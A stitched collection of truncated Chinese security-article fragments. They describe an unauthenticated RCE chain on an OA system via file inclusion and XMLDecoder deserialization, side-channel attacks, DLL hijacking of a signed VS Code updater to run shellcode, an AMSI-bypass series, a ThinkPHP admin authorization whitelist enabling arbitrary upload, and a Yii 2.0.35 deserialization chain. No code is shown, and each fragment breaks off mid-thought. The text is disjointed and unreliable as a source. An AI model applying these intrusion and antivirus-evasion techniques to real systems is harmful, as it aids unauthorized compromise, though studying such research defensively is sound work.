某凌OA前台⽆条件RCE(组合利⽤)
这个其实就是前段时间两个漏洞的结合。
1.SSRF（这⾥应该叫⽂件包含）
2.XmlDecoder反序列化
之前写了⼀个读取密码到后台JNDI的利⽤⽅式
这个⽅法也不是百分百可⾏，后⾯在塔王的提醒下发现了⼀种更为简洁的⽅式。
看⻅有师傅在打了，就放出来了。
其实主要还是在于 <c:import> 这个标签的特性。
之前也有详细介绍过。
<c:import> 标签提供了所有 < jsp:include > ⾏为标签所具有的功能，同时也允许包

举例来说，使⽤ <c:import> 标签可以包含⼀个 FTP 服务器中不同的⽹⻚内容。

测信道的那点事
测信道攻击是一种针对软件或硬件设计缺陷, 剑走偏锋的攻击方式
攻击途径通常采用被动式监听, 或通过特殊渠道发送隐蔽数据信号
攻击点不在暴力破解, 而是通过功耗; 时序; 电磁泄漏等方式达到

用Golang编写 dll劫持的一些坑 (1)
源于知识星球的一个想法，利用一些已知的dll劫持的程序作为"模板",自动生成白加黑的程序。
我想用Golang编写劫持的dll，这样也方便可以做成在线平台。
当然dll加载模式不同劫持的方式也不同。
我找到是vscode它的更新程序，也有它官方的签名
看 inno_updater.exe 的导出表，我只用实现它的5个函数就可以了。
因为我想做成通用型的，对于这种输入表导入的dll做劫持，只需要在 DllMain 中获取主程序的入口点，
然后将shellcode写入入口点，之后主程序运行就会执行我们的shellcode了。

Bypass AMSI的前世今生(1) - AMSI前置知识
0x00 前言
《Bypass AMSI的前世今生》是 [公鸡队之家] 知识星球的第一个专项技术分享。之所以选择这个主题作
为第一个主题，是因为AMSI是微软用来对抗无文件攻击而开发的安全模块，是当前攻防对抗前沿的技术
之一。从15年AMSI出现，越来越多的杀软厂商接入了AMSI接口，当前市面上主流杀软均接入此接口。
这给当时以powershell为主的红队工具致命打击。因此随后红队人员针对Bypass AMSI的研究从未停
止。从开始的script混淆到现在的内存补丁，详细的技术演变如下：

系统认证逻辑
系统采用thinkphp框架开发，主要是后台 admin 的功能
所有控制器全都继承 AdminBase.php ，认证程序也是在 AdminBase.php 中进行的，在进行父类
的初始化后有两个函数用于登录校验和权限校验-- checklogin() 和 checkAuth() 。
其中这个 checkAuth() 方法设置了白名单， $noLogin , $noAuth 两个数组中的是白名单接口，可
以不进行权限校验，也就是任意用户登录后都可以调用。
后台任意文件上传

前言
本篇文章由 Yii 2.0.35 反序列化漏洞复现到新利用链发现 中发现的新利用连的坑展开的测试. 结果在最后
面
我在文章中提到， poc 加上 phpinfo 才能执行成功. 我当时的猜测是因为 phpinfo 函数执行的回显内容
过大出发了分段传输导致的.
然后我就展开了测试, 测试环境: phpstudy, PHP 7.0.9
利用链调整
文章发出后才发现, 调试时发现利用链中的第二节: \vendor\guzzlehttp\psr7\src\FnStream.php 中
的 __destruct() (对象销毁时)魔术方法就存在危险函数且参数可控, 所以使用这条利用链不需要经过
